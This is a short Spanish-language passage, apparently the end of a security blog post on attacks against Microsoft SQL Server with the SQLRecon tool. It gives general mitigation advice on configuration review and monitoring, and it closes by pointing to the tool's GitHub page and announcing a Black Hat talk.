Al abusar de SQL Server, los adversarios pueden obtener acceso no autorizado a datos confidenciales, manipular bases de datos e incluso comprometer sistemas completos. Las consecuencias de tales ataques pueden ser graves y dar lugar a filtraciones de datos, pérdidas financieras y daños a la reputación de una organización.

Para mitigar el riesgo de estos ataques, es crucial que las organizaciones revisen sus configuraciones de SQL Server y adopten mejores prácticas de seguridad. Además, las organizaciones deben invertir en soluciones de seguridad que proporcionen capacidades de monitoreo en tiempo real, detección de anomalías y análisis de comportamiento. Estas soluciones pueden ayudar a detectar y responder a los ataques de manera más efectiva, minimizando el impacto potencial en datos y sistemas críticos. Al tomar medidas proactivas para proteger los entornos de SQL Server, las organizaciones pueden reducir significativamente el riesgo de ser víctimas de estos ataques y proteger sus valiosos activos de datos.

Siempre puede encontrar la última versión estable de SQLRecon  en la página de Github de X-Force Red.

Si asiste a Black Hat Las Vegas y desea obtener más información, puede asistir a mi sesión: Abusar de Microsoft SQL Server con SQLRecon el jueves 10 de agosto a la 1:00 p. m. PT.